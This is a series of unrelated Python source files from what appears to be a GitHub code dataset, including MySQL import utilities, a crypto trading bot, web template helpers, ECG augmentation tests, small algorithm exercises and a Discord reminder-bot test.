db.load_data(file_name, table, ld_cmd)\n db.close()\n\ndef import_file_nokeys(file_name, table, ld_cmd='', args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database using optimal\n settings.\n\n Starts a transaction and changes some MySQL settings for optimization, which\n disables the keys. It then loads the data into the provided table in MySQL.\n Note that the keys are not re-enabled after import. To do this call\n enable_keys(args).\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n print('Inserting nokeys data from ' + file_name +' into ' + table)\n print(ld_cmd)\n db.disable_keys()\n db.load_data(file_name, table, ld_cmd)\n db.close()\n\ndef enable_keys(args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database using optimal\n settings.\n\n Starts a transaction and changes some MySQL settings for optimization, which\n disables the keys. It then loads the data into the provided table in MySQL.\n Note that the keys are not re-enabled after import. To do this call\n mysql_utilities.get_database('KnowNet', args).enable_keys().\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n db.enable_keys()\n db.close()\n\ndef import_filemeta(version_dict, args=None):\n \"\"\"Imports the provided version_dict into the KnowEnG MySQL database.\n\n Loads the data from an version dictionary into the raw_file table.\n\n Args:\n version_dict (dict): version dictionary describing a downloaded file\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n values = [version_dict[\"source\"] + '.' + version_dict[\"alias\"],\n version_dict[\"remote_url\"], version_dict[\"remote_date\"],\n version_dict[\"remote_version\"], version_dict[\"remote_size\"],\n version_dict[\"source_url\"], version_dict[\"image\"], version_dict[\"reference\"],\n version_dict[\"pmid\"], version_dict[\"license\"],\n 'CURRENT_TIMESTAMP', version_dict[\"local_file_name\"], 'NULL']\n cmd = 'VALUES( ' + ','.join('%s' for i in values) + ')'\n db.replace_safe('raw_file', cmd, values)\n db.close()\n\ndef update_filemeta(version_dict, args=None):\n \"\"\"Updates the provided filemeta into the KnowEnG MySQL database.\n\n Updates the data from an version dictionary into the raw_file table.\n\n Args:\n version_dict (dict): version dictionary describing a downloaded file\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n values = [version_dict[\"source\"] + '.' + version_dict[\"alias\"],\n version_dict[\"remote_url\"], version_dict[\"remote_date\"],\n version_dict[\"remote_version\"], version_dict[\"remote_size\"],\n version_dict[\"source_url\"], version_dict[\"image\"], version_dict[\"reference\"], version_dict[\"pmid\"], version_dict[\"license\"],\n 'CURRENT_TIMESTAMP', version_dict[\"local_file_name\"],\n version_dict[\"checksum\"]]\n cmd = 'VALUES( ' + ','.join('%s' for i in values) + ')'\n db.replace_safe('raw_file', cmd, values)\n db.close()\n\ndef import_edge(edgefile, args=None):\n \"\"\"Imports the provided edge file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n edgefile (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n imports = ['node', 'node_meta', 'edge2line', 'edge', 'edge_meta']\n #uedge_cmd = ('edge.weight = IF(edge.weight > {0}.weight, edge.weight, '\n # '{0}.weight)')\n for table in imports:\n ld_cmd = ''\n dup_cmd = ''\n if table == 'edge':\n filename = edgefile\n else:\n filename = edgefile.replace('conv', table)\n ufile = filename.replace(table, 'unique.' + table)\n if os.path.isfile(ufile):\n filename = ufile\n if not os.path.isfile(filename):\n continue\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef import_production_edges(args=None):\n \"\"\"Query production edges from status table into the edge table.\n\n Queries the KnowNet status table and copies all distinct production edges\n to the edge table. If a duplication occurs during the query, it updates to\n the maximum edge score and keeps the edge hash for that edge.\n\n Args:\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n cmd = ('SELECT DISTINCT n1_id, n2_id, et_name, weight, edge_hash '\n 'FROM KnowNet.status WHERE status.status=\"production\" '\n 'ON DUPLICATE KEY UPDATE edge.weight = '\n 'IF(edge.weight > status.weight, edge.weight, status.weight)')\n tablename = 'KnowNet.edge'\n db.insert(tablename, cmd)\n\ndef import_status(statusfile, args=None):\n \"\"\"Imports the provided status file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n status (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n imports = ['node', 'node_meta', 'edge2line', 'status', 'edge_meta']\n for table in imports:\n ld_cmd = ''\n dup_cmd = ''\n if table == 'status':\n filename = statusfile\n else:\n filename = statusfile.replace('status', table)\n ufile = filename.replace(table, 'unique.' + table)\n if os.path.isfile(ufile):\n filename = ufile\n if not os.path.isfile(filename):\n continue\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef import_nodemeta(nmfile, args=None):\n \"\"\"Imports the provided node_meta file and any corresponding meta files into\n the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n nmfile (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n table = 'node_meta'\n dup_cmd = 'node_meta.node_id = node_meta.node_id'\n ld_cmd = ''\n import_file(nmfile, table, ld_cmd, dup_cmd, args)\n\ndef import_pnode(filename, args=None):\n \"\"\"Imports the provided property node file into the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it updates to the maximum edge score if it is an\n edge file, and ignores if it is metadata.\n\n Args:\n filename (str): path to the file to be imported\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n ld_cmd = '(node_id, n_alias) SET n_type=\"Property\"'\n dup_cmd = 'node.node_id = node.node_id'\n table = 'node'\n import_file(filename, table, ld_cmd, dup_cmd, args)\n\ndef merge(merge_key, args):\n \"\"\"Uses sort to merge and unique the already sorted files of the table type\n and stores the results into outfile.\n\n This takes a table type (one of: node, node_meta, edge2line, status, or\n edge_meta) and merges them using the unix sort command while removing any\n duplicate elements.\n\n Args:\n merge_key (str): table type (one of: node, node_meta, edge2line, status,\n edge, or edge_meta)\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n if args.storage_dir:\n searchpath = os.path.join(args.storage_dir, args.data_path)\n else:\n searchpath = os.path.join(args.working_dir, args.data_path)\n outpath = os.path.join(args.working_dir, args.data_path)\n if merge_key == 'edge':\n outfile = os.path.join(outpath, 'unique-sort.' + merge_key + '.txt')\n else:\n outfile = os.path.join(outpath, 'unique.' + merge_key + '.txt')\n searchpath = os.path.join(searchpath, '*', '*', '*')\n with open(outfile, 'w') as out:\n cmd1 = ['find', searchpath, '-type', 'f',\n '-name', '*.unique.'+merge_key+'.*', '-print0']\n temppath = os.path.join(outpath, 'tmp')\n if not os.path.isdir(temppath):\n os.makedirs(temppath)\n cmd2 = ['xargs', '-0', 'sort', '-mu', '-T', temppath]\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(' '.join(cmd1), stdout=subprocess.PIPE, shell=True)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n\n if merge_key != 'edge':\n return outfile\n\n us_file = outfile\n ud_file = os.path.join(outpath, 'unique-dup.edge.txt')\n ue_file = os.path.join(outpath, 'unique.edge.txt')\n with open(us_file, 'r') as infile, \\\n open(ud_file, 'w') as edge:\n reader = csv.reader(infile, delimiter='\\t')\n writer = csv.writer(edge, delimiter='\\t', lineterminator='\\n')\n prev = False\n for line in reader:\n line = line[1:] + [line[0]]\n e_chksum = line[4]\n weight = line[3]\n if not prev:\n prev = line\n if e_chksum != prev[4]:\n writer.writerow(prev)\n prev = line\n elif float(weight) > float(prev[3]):\n prev = line\n if prev:\n writer.writerow(prev)\n os.remove(us_file)\n with open(ue_file, 'w') as out:\n cmd1 = ['cat', ud_file]\n temppath = os.path.join(outpath, 'tmp')\n if not os.path.isdir(temppath):\n os.makedirs(temppath)\n cmd2 = ['sort', '-u', '-T', temppath]\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(cmd1, stdout=subprocess.PIPE)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n os.remove(ud_file)\n return ue_file\n\n\ndef merge_logs(args):\n \"\"\"Merge all log files into a single file that contains all the information about the run.\n \"\"\"\n\n searchpath = os.path.join(args.working_dir, args.logs_path)\n if args.storage_dir:\n searchpath = os.path.join(args.storage_dir, args.logs_path)\n searchfile = os.path.join(searchpath, '*.log')\n outpath = os.path.join(args.working_dir, args.data_path)\n outfile = os.path.join(outpath, 'unique.log.txt')\n with open(outfile, 'w') as out:\n cmd1 = [\"\"\"awk -F'\\t' -v OFS='\\t' '$1 == \"run info\" {$1 = FILENAME; print}'\"\"\", searchfile]\n cmd2 = ['cut', '-f2-', '-d\\t']\n print(' '.join(cmd1))\n print(' '.join(cmd2))\n p1 = subprocess.Popen(' '.join(cmd1), stdout=subprocess.PIPE, shell=True)\n subprocess.Popen(cmd2, stdin=p1.stdout, stdout=out).communicate()\n return outfile\n\n\ndef main_parse_args():\n \"\"\"Processes command line arguments.\n\n Expects one positional argument (status_file) and number of optional\n arguments. If arguments are missing, supplies default values.\n\n Returns:\n Namespace: args as populated namespace\n \"\"\"\n parser = ArgumentParser()\n parser.add_argument('importfile', help='import file produced from map step, \\\n or merged files, and must contain the table name e.g. \\\n kegg/ath/kegg.ath.unique.status.1.txt or \\\n unique.status.txt')\n parser = cf.add_config_args(parser)\n args = parser.parse_args()\n return args\n\ndef main():\n \"\"\"Imports according to the given arguments.\n \"\"\"\n args = main_parse_args()\n merge_keys = ['node', 'node_meta', 'edge2line', 'status', 'edge', \\\n 'edge_meta', 'raw_line', 'table', 'log']\n if args.importfile == 'log':\n args.importfile = merge_logs(args)\n elif args.importfile in merge_keys:\n args.importfile = merge(args.importfile, args)\n table = ''\n ld_cmd = ''\n dup_cmd = ''\n for key in args.importfile.split('.'):\n if key in merge_keys:\n table = key\n break\n if not table:\n raise ValueError(\"ERROR: 'importfile' must contain one of \"+\\\n ','.join(merge_keys))\n import_file(args.importfile, table, ld_cmd, dup_cmd, args)\n if table == 'node_meta':\n filename = args.importfile.replace(\"node_meta\", \"node_meta_table\")\n mu.get_database(\"KnowNet\", args).dump_table(table, filename)\n ru.import_node_meta(filename, args)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KnowEnG/KN_Builder","sub_path":"src/code/import_utilities.py","file_name":"import_utilities.py","file_ext":"py","file_size_in_byte":15723,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"7240437561","text":"from make_order import order\r\nfrom mean_reversion import mean_reversion\r\nfrom rsi import rsi\r\n\r\nimport numpy as np \r\nimport requests\r\nfrom time import sleep\r\nfrom datetime import datetime\r\nimport talib\r\n\r\nTRADE_SYMBOL = 'BTCUSD'\r\n\r\nurl = f'https://api.binance.us/api/v3/ticker?symbol={TRADE_SYMBOL}'\r\n\r\ncloses = []\r\nin_position = False\r\n\r\nTRADE_QUANTITY = 1\r\n\r\nAPI_KEY = '###############' #Alpaca API key\r\nSECRET_KEY = '#######################' #Alpaca secret API key\r\n\r\nwhile True: \r\n response = requests.get(url)\r\n response = response.json()\r\n\r\n close = response['lastPrice']\r\n closes.append(float(close))\r\n\r\n last_price = closes[-1]\r\n\r\n print(f'candle closed at {close}')\r\n\r\n output_mean_reversion = mean_reversion(closes, in_position)\r\n output_rsi = rsi(closes, in_position)\r\n\r\n if output_mean_reversion == 'buy' and output_rsi == 'buy': \r\n print('Buying...')\r\n order(TRADE_SYMBOL, TRADE_QUANTITY, 'buy', 'market', 'gtc', API_KEY, SECRET_KEY)\r\n buy_price = last_price\r\n print('Success!')\r\n in_position = True\r\n if output_mean_reversion == 'sell' and output_rsi == 'sell': \r\n print('Selling...')\r\n order(TRADE_SYMBOL, ((TRADE_QUANTITY - (TRADE_QUANTITY * 0.0025)) - 0.000000001), 'sell', 'market', 'gtc', API_KEY, SECRET_KEY)\r\n sell_price = last_price\r\n print('Success!')\r\n in_position = False\r\n if output_mean_reversion == 'no action' or output_rsi == 'no action': \r\n print('No Action Needed')\r\n\r\n print(f'Currently Holding : {in_position}')\r\n\r\n print('===============================================================================================================')\r\n \r\n sleep(5)\r\n","repo_name":"AlexMueller37/Crypto-Bot-2.0","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11127541467","text":"import datetime\n\nimport flask\n\nfrom repology.package import PackageVersionClass, RepositoryVersionClass\nfrom repology.packageformatter import PackageFormatter\n\n\ndef maintainer_to_links(maintainer):\n links = []\n\n if '@' in maintainer:\n name, domain = maintainer.split('@', 1)\n\n if domain == 'cpan':\n links.append('http://search.cpan.org/~' + name)\n elif domain == 'aur':\n links.append('https://aur.archlinux.org/account/' + name)\n elif domain in ('altlinux.org', 'altlinux.ru'):\n links.append('http://sisyphus.ru/en/packager/' + name + '/')\n elif domain == 'github':\n links.append('https://github.com/' + name)\n elif domain == 'freshcode':\n links.append('http://freshcode.club/search?user=' + name)\n\n if '.' in domain:\n links.append('mailto:' + maintainer)\n\n return links\n\n\ndef is_fallback_maintainer(maintainer):\n return maintainer.startswith('fallback-mnt-') and maintainer.endswith('@repology')\n\n\ndef maintainers_to_group_mailto(maintainers, subject=None):\n emails = []\n\n for maintainer in maintainers:\n if '@' in maintainer and '.' in maintainer.split('@', 1)[1]:\n emails.append(maintainer)\n\n if not emails:\n return None\n\n return 'mailto:' + ','.join(sorted(emails)) + ('?subject=' + subject if subject else '')\n\n\ndef for_page(value, letter=None):\n if letter is None or letter == '0':\n return not value or value < 'a'\n elif letter >= 'z':\n return value and value >= 'z'\n else:\n return value and value >= letter and value < chr(ord(letter) + 1)\n\n\ndef pkg_format(value, pkg):\n return PackageFormatter().format(value, pkg)\n\n\ndef css_for_package_versionclass(value):\n if value == PackageVersionClass.newest:\n return 'newest'\n elif value == PackageVersionClass.outdated:\n return 'outdated'\n elif value == PackageVersionClass.ignored:\n return 'ignored'\n\n\ndef css_for_summary_versionclass(value):\n if value == RepositoryVersionClass.newest:\n return 'newest'\n elif value == RepositoryVersionClass.outdated:\n return 'outdated'\n elif value == RepositoryVersionClass.mixed:\n return 'mixed'\n elif value == RepositoryVersionClass.ignored:\n return 'ignored'\n elif value == RepositoryVersionClass.lonely:\n return 'unique'\n\n\ndef url_for_self(**args):\n return flask.url_for(flask.request.endpoint, **dict(flask.request.view_args, **args))\n\n\nclass AFKChecker:\n def __init__(self, intervals=[]):\n self.intervals = []\n for interval in intervals:\n start, *rest = [\n datetime.date(*map(int, date.split('-', 2)))\n for date in interval.split(' ', 1)\n ]\n\n self.intervals.append((start, rest[0] if rest else start))\n\n def GetAFKEnd(self, today=None):\n if today is None:\n today = datetime.date.today()\n\n for interval in self.intervals:\n if today >= interval[0] and today <= interval[1]:\n return interval[1]\n\n return None\n","repo_name":"roscopecoltran/sniperkit-services","sub_path":"dockerfiles/vcs/packages/repology/repology/template_helpers.py","file_name":"template_helpers.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"29038201578","text":"import pytest\n\nimport cv2\nimport numpy as np\nimport ecgmentations.augmentations.functional as F\n\ndef test_amplitude_invert_CASE_default():\n ecg = np.array([[1, 2, 3, 4, 5, 6], ]).T\n\n output = F.amplitude_invert(ecg)\n expected = np.array([[-1, -2, -3, -4, -5, -6], ]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_shuffle_CASE_direct_order():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n output = F.channel_shuffle(ecg, (0, 1))\n expected = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_shuffle_CASE_inverse_order():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n output = F.channel_shuffle(ecg, (1, 0))\n expected = np.array([[6, 5, 4, 3, 2, 1], [1, 2, 3, 4, 5, 6]]).T\n\n assert pytest.approx(output) == expected\n\ndef test_channel_dropout_CASE_default():\n ecg = np.array([[1, 2, 3, 4, 5, 6], [6, 5, 4, 3, 2, 1]]).T\n\n channels_to_drop = (0, )\n fill_value = 0\n\n output = F.channel_dropout(ecg, channels_to_drop, fill_value)\n expected = np.array([[0, 0, 0, 0, 0, 0], [6, 5, 4, 3, 2, 1]]).T\n\n assert pytest.approx(output) == expected\n","repo_name":"rostepifanov/ecgmentations","sub_path":"tests/ecgmentations/augmentations/test_functional.py","file_name":"test_functional.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"74870125929","text":"import numpy as np\nimport pandas as pd\n\ndef euclidean_distances(X,X_train):\n\tdist = np.zeros((1000,1))\n\tfor j in np.arange(0,1000):\n\t\tdist[j] = np.linalg.norm(X-X_train[j])\n\tdist = np.reshape(dist,1000)\n\treturn dist\n\ndf_X = pd.read_csv('X.csv',header=None)\ndf_Y = pd.read_csv('Y.csv',header=None)\nX = np.array(df_X,dtype=np.float64)\nX = X.T\nY = np.array(df_Y,dtype=np.float64)\nX_test = np.array([[1,1],[1,-1],[-1,1],[-1,-1]])\n\nprint(\"Give K for the K nearest neighbors \\n\")\nK = input()\nK = int(K)\n\nfor i in range(0,len(X_test)):\n\tdist = euclidean_distances(X_test[i],X)\n\tidx = np.argpartition(dist, K)\n\tb = np.take(Y, idx[:K])\n\testimate = float(np.sum(b)/K)\n\tif estimate>0 :\n\t\tprint(X_test[i],\":1\")\n\telse:\n\t\tprint(X_test[i],\":-1\")\n","repo_name":"chakri1804/sumohana_AI_ML","sub_path":"assign_2/assign_2_b.py","file_name":"assign_2_b.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"4511862963","text":"from collections import defaultdict\nimport numpy as np\n\n\nwith open(\"input\") as f:\n lines = [np.array(list(map(int, line.strip()))) for line in f.readlines()]\n\n\nnew_lines = []\nfor line in lines:\n tmp = list(line)\n tmp_line = line\n for _ in range(4):\n tmp_line = (np.array(tmp_line) + 1) % 10\n tmp_line = [x if x != 0 else 1 for x in tmp_line]\n tmp.extend(tmp_line)\n new_lines.append(np.array(tmp))\nnew_lines = np.array(new_lines)\n\n\ntmp_line = np.array(new_lines)\nnew_lines = list(new_lines)\nfor i in range(1, 5):\n tmp_line = (tmp_line + 1) % 10\n tmp_line[tmp_line == 0] = 1\n for line in tmp_line:\n new_lines.append(line)\nlines = new_lines\nh, w = len(lines), len(lines[0])\nstack = [((0, 0), 0)]\nvisited = defaultdict(lambda: 99999)\nmin_weight = 99999\n\nLRUD = [(0, 1), (1, 0), (0, -1), (-1, 0)]\nprint(h, w)\nwhile stack:\n new_stack = []\n while stack:\n pos, weight = stack.pop()\n for x, y in LRUD:\n p = (pos[0] + x, pos[1] + y)\n if not (0 <= p[0] < h and 0 <= p[1] < w):\n continue\n new_weight = weight + lines[p[1]][p[0]]\n if new_weight < visited[p]:\n new_stack.append((p, new_weight))\n visited[p] = new_weight\n if p == (h - 1, w - 1):\n min_weight = min(min_weight, new_weight)\n stack = new_stack\n\nprint(min_weight)\n\n","repo_name":"madsthoisen/advent_of_code","sub_path":"2021/dec15/panic_solution.py","file_name":"panic_solution.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33786022097","text":"import pyo\nfrom settings import audioSource\n\ns = pyo.Server(audio = audioSource, nchnls=1).boot()\ns.start()\n\na = pyo.Input(chnl=0)\nfol = pyo.Follower(a, freq=30, mul=4000, add=400)\nf = pyo.Biquad(a, freq=fol, q=5, type=2).out()\n\ns.gui()","repo_name":"fleidloff/effect-pedal","sub_path":"auto-wah.py","file_name":"auto-wah.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2865416181","text":"#How to use if statement.\n\nPronType = str(input(\"Enter the type of Pronoun ->\"))\nCase = str(input(\"Enter the Case of Pronoun ->\"))\n\nif PronType == \"Pers\" and Case == \"Gen\":\n\tprint(\"The Pronoun is Possesive\")\n\tif PronType != \"Pers\" or Case == \"Gen\":\n\t\tprint(\"The Pronoun is Genitive\")\n\t\tif PronType == \"Pers\" or Case != \"Gen\":\n\t\t\tprint(\"The Pronoun is Personal\")\n\tprint(\"Yes, the Pronoun is Possesive.\")\n\nprint(\"Its not Poss Pronoun!\")\n\n\nweather = \"cold\"\n\na = 5\nb = 3\nmessage = \"Hello, world!\"\n\nlen_of_message = len(message)\n\nif weather == \"cold\" and a > b and len_of_message > 3:\n\tprint(\"Its work!\")\n\tif b > 1:\n\t\tprint(\"B is greater than 1\")\n\tprint(\"If statement ends there\")\n\nprint(\"Our cods ends\")\n\n\nPronType = str(input(\"Enter the type of Pronoun ->\"))\nCase = str(input(\"Enter the Case of Pronoun ->\"))\n\nif PronType == \"Pers\" and Case == \"Gen\":\n\tprint(\"The Pronoun is Possesive\")\n\na = 5\nb = 6\nc = 2\n\nif a < b:\n\tprint(\"A is less than B\")\n\nif a > b:\n\tprint(\"A is greather than B\")\n\nif a < b and c > 5:\n\tprint(\"A is less or than B\")\n\nif a > b and c < 5:\n\tprint(\"A is greather than B\")\n\nMy_num1 = 5\nMy_num2 = 7\nif My_num1 < My_num2:\n\tprint(\"My_num2 is greater\")\nprint(\"Execution complete\")\n\n","repo_name":"myavrum/homework","sub_path":"if.py","file_name":"if.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33082718800","text":"'''\n一条包含字母 A-Z 的消息通过以下方式进行了编码:\n\n'A' -> 1\n'B' -> 2\n...\n'Z' -> 26\n给定一个只包含数字的非空字符串,请计算解码方法的总数\n\n'''\n\n# 第一反应:递归 但感觉效率又不够\n# 可以研究一下动态规划\n\n\ndef numDecoding(s):# 该实现思想上没问题,但还需要对0值做处理,此处是个坑\n if len(s) < 2:\n return 1\n if len(s) == 2:\n if int(s) <= 26:\n return 2\n else:\n return 1\n\n if int(s[-2:]) > 26:\n return numDecoding(s[:-1])\n else:\n return numDecoding(s[:-1]) + numDecoding(s[:-2])\n\n\nif __name__ == '__main__':\n ss = \"226\"\n print(numDecoding(ss))\n","repo_name":"1040979575/baseDataStructureAndAlgorithm","sub_path":"leecode/numDecoding.py","file_name":"numDecoding.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"75147430248","text":"class Solution:\n def intToRoman(self, num: int):\n d = {1: ['I', 'X', 'C', 'M'], 2: ['II', 'XX', 'CC', 'MM'], 3: ['III', 'XXX', 'CCC', 'MMM'], 4: ['IV', 'XL', 'CD'], 5: ['V', 'L', 'D'], 6: ['VI', 'LX', 'DC'], 7: ['VII', 'LXX', 'DCC'], 8: ['VIII', 'LXXX', 'DCCC'], 9: ['IX', 'XC', 'CM']}\n ans = \"\"\n i=0\n while(num!=0):\n digit = num%10\n if(digit!=0):\n ans = d.get(digit)[i]+ans\n i+=1\n num=num//10\n return ans\n\nd = {}\na = ['I','X','C','M']\nf = ['V','L','D']\nfor i in range(1,10):\n d[i]=[]\n if(i<4):\n for j in range(4):\n s = \"\"\n for k in range(i):\n s+=a[j]\n d[i].append(s)\n elif(i==4):\n for j in range(3):\n s = a[j]+f[j]\n d[i].append(s)\n elif(i==5):\n for j in range(3):\n d[i].append(f[j])\n elif(i<9):\n for j in range(3):\n s = f[j]\n for k in range(i-5):\n s+=a[j]\n d[i].append(s)\n else:\n for j in range(3):\n s = a[j]+a[j+1]\n d[i].append(s) \n\na = Solution()\nprint(a.intToRoman(int(input())))\n# print(d)","repo_name":"its-sachin/LeetCode","sub_path":"Random/q12.py","file_name":"q12.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"16439032542","text":"from typing import cast\r\n\r\nimport pytz\r\n\r\nfrom core.utils.constants import testmogus_id\r\nfrom disc.tests.main import Test\r\n\r\nfrom datetime import timedelta, time as Time\r\nfrom disc.tests.utils import (\r\n get_messages_at_time,\r\n test_message_deleted,\r\n user_says,\r\n)\r\nfrom core.start import data\r\nfrom core.data.writable import PeriodicAlert, SingleAlert\r\nfrom core.timer import now\r\n\r\n\r\nclass TestSetReminder(Test):\r\n async def test_set_daily(self) -> None:\r\n response = await user_says(\"daily 8am wake up\", expected_responses=1)\r\n self.assert_equal(\r\n response.content,\r\n f'<@{testmogus_id}>\\'s daily reminder at 8AM to \"wake up\" has been set.',\r\n )\r\n\r\n self.assert_true(test_message_deleted(\"daily 8am wake up\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], PeriodicAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"msg\": \"wake up\",\r\n \"user\": testmogus_id,\r\n \"_repeat_activation_threshold\": timedelta(seconds=60),\r\n \"periodicity\": timedelta(days=1),\r\n },\r\n )\r\n task_activation = cast(\r\n PeriodicAlert, data.tasks[0]\r\n ).first_activation.astimezone(data.timezones[testmogus_id].tz)\r\n self.assert_equal(task_activation.hour, 12)\r\n self.assert_equal(task_activation.minute, 0)\r\n\r\n # 12 UTC is 8 EST\r\n alert = await get_messages_at_time(\r\n Time(hour=12, minute=0, second=0), expected_messages=1\r\n )\r\n self.assert_starts_with(\r\n alert.content, f\"Hey <@{testmogus_id}>, this is a reminder to wake up.\"\r\n )\r\n\r\n await get_messages_at_time(\r\n Time(hour=12, minute=0, second=2), expected_messages=0\r\n )\r\n\r\n async def test_set_weekly(self) -> None:\r\n response = await user_says(\"weekly 8am tuesdAy trash\", expected_responses=1)\r\n self.assert_equal(\r\n response.content,\r\n (\r\n f'<@{testmogus_id}>\\'s weekly reminder at 8AM on Tuesdays to \"trash\" '\r\n \"has been set.\"\r\n ),\r\n )\r\n\r\n self.assert_true(test_message_deleted(\"weekly 8am tuesdAy trash\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], PeriodicAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"msg\": \"trash\",\r\n \"user\": testmogus_id,\r\n \"_repeat_activation_threshold\": timedelta(seconds=60),\r\n \"periodicity\": timedelta(days=7),\r\n },\r\n )\r\n task_activation = (\r\n cast(PeriodicAlert, data.tasks[0])\r\n .first_activation.replace(tzinfo=pytz.UTC)\r\n .astimezone(pytz.timezone(\"US/Eastern\"))\r\n )\r\n self.assert_equal(task_activation.hour, 8)\r\n self.assert_equal(task_activation.minute, 0)\r\n now.suppose_it_is(now().replace(hour=12))\r\n start = now()\r\n\r\n for i in range(14):\r\n curr = start + timedelta(days=i)\r\n if curr.strftime(\"%A\") == \"Tuesday\":\r\n alert = await get_messages_at_time(curr, expected_messages=1)\r\n self.assert_equal(\r\n alert.content,\r\n f\"Hey <@{testmogus_id}>, this is a reminder to trash.\",\r\n )\r\n else:\r\n await get_messages_at_time(curr, expected_messages=0)\r\n\r\n async def test_set_in(self) -> None:\r\n response = await user_says(\"in 3d8h5m4s wake up\", expected_responses=1)\r\n curr_time = now()\r\n\r\n self.assert_starts_with(\r\n response.content,\r\n f\"<@{testmogus_id}>'s reminder on \",\r\n )\r\n self.assert_ends_with(response.content, ' to \"wake up\" has been set.')\r\n self.assert_true(test_message_deleted(\"in 3d8h5m4s wake up\"))\r\n\r\n self.assert_len(data.tasks, 1)\r\n self.assert_is_instance(data.tasks[0], SingleAlert)\r\n self.assert_has_attrs(\r\n data.tasks[0],\r\n {\r\n \"_activation_threshold\": timedelta(seconds=30),\r\n \"repeatable\": False,\r\n \"msg\": \"wake up\",\r\n \"user\": testmogus_id,\r\n \"_reminder_str\": (\"Hey <@{user}>, this is a reminder to {msg}.\"),\r\n },\r\n )\r\n\r\n activation = cast(SingleAlert, data.tasks[0]).activation\r\n delta = timedelta(days=3, hours=8, minutes=5, seconds=4)\r\n self.assert_geq(\r\n 1,\r\n int((curr_time - activation + delta).total_seconds()),\r\n )\r\n\r\n alert = await get_messages_at_time(curr_time + delta, expected_messages=1)\r\n 